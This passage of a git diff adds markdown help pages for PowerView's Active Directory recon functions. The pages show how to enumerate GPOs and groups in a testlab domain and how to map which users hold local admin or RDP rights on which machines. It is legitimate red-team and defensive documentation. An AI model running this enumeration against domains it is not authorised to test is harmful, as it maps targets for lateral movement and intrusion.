+Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignUser + +Custom PSObject with translated user property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPO.md b/docs/Recon/Get-DomainGPO.md new file mode 100755 index 0000000..9d0a468 --- /dev/null +++ b/docs/Recon/Get-DomainGPO.md @@ -0,0 +1,354 @@ +# Get-DomainGPO + +## SYNOPSIS +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +## SYNTAX + +### None (Default) +``` +Get-DomainGPO [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +### ComputerIdentity +``` +Get-DomainGPO [[-Identity] ] [-ComputerIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +### UserIdentity +``` +Get-DomainGPO [[-Identity] ] [-UserIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all GPO objects for +the current domain are returned. +To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPO -Domain testlab.local +``` + +Return all GPOs for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPO -ComputerName windows1.testlab.local +``` + +Returns all GPOs applied windows1.testlab.local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO +``` + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerIdentity +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: UserIdentity +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md new file mode 100755 index 0000000..4e5015b --- /dev/null +++ b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md @@ -0,0 +1,263 @@ +# Get-DomainGPOComputerLocalGroupMapping + +## SYNOPSIS +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +## SYNTAX + +### ComputerIdentity (Default) +``` +Get-DomainGPOComputerLocalGroupMapping [-ComputerIdentity] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### OUIdentity +``` +Get-DomainGPOComputerLocalGroupMapping -OUIdentity [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. +Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. +For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. +For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. +This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local +``` + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP +``` + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +## PARAMETERS + +### -ComputerIdentity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local) for the computer to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName, Computer, DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OUIdentity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: OUIdentity +Aliases: OU + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GGPOComputerLocalGroupMember + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOLocalGroup.md b/docs/Recon/Get-DomainGPOLocalGroup.md new file mode 100755 index 0000000..e61fb82 --- /dev/null +++ b/docs/Recon/Get-DomainGPOLocalGroup.md @@ -0,0 +1,259 @@ +# Get-DomainGPOLocalGroup + +## SYNOPSIS +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. +Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainGPOLocalGroup [[-Identity] ] [-ResolveMembersToSIDs] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. +For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. +Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOLocalGroup +``` + +Returns all local groups set by GPO along with their members and memberof. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOLocalGroup -ResolveMembersToSIDs +``` + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup +``` + +Return any GPO-set groups for the GPO with the given name/GUID. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGPOLocalGroup 'Desktops' +``` + +Return any GPO-set groups for the GPO with the given display name. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveMembersToSIDs +Switch. +Indicates that any member names should be resolved to their domain SIDs. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOGroup + +## NOTES + +## RELATED LINKS + +[https://morgansimonsenblog.azurewebsites.net/tag/groups/](https://morgansimonsenblog.azurewebsites.net/tag/groups/) + diff --git a/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md new file mode 100755 index 0000000..d42a4be --- /dev/null +++ b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md @@ -0,0 +1,258 @@ +# Get-DomainGPOUserLocalGroupMapping + +## SYNOPSIS +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. +If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainGPOUserLocalGroupMapping [[-Identity] ] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. +resolving the user/group to its proper SID + 2. +enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. +pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. +matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. +enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. +querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -\> machine mappings discovered through +GPO relationships are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-GPOLocation +``` + +Find all user/group -\> machine relationships where the user/group is a member +of the local administrators group on target machines. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +## NOTES + +## RELATED LINKS + +[http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/](http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/) + diff --git a/docs/Recon/Get-DomainGroup.md b/docs/Recon/Get-DomainGroup.md new file mode 100755 index 0000000..faaa082 --- /dev/null +++ b/docs/Recon/Get-DomainGroup.md @@ -0,0 +1,397 @@ +# Get-DomainGroup + +## SYNOPSIS +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainGroup [[-Identity] ] [-MemberIdentity ] [-AdminCount] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all group objects for +the current domain are returned. +To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroup | select samaccountname +``` + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGroup *admin* | select distinguishedname +``` + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl +``` + +samaccountname +-------------- +Server Admins + +### -------------------------- EXAMPLE 4 -------------------------- +``` +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +### -------------------------- EXAMPLE 6 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -MemberIdentity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter 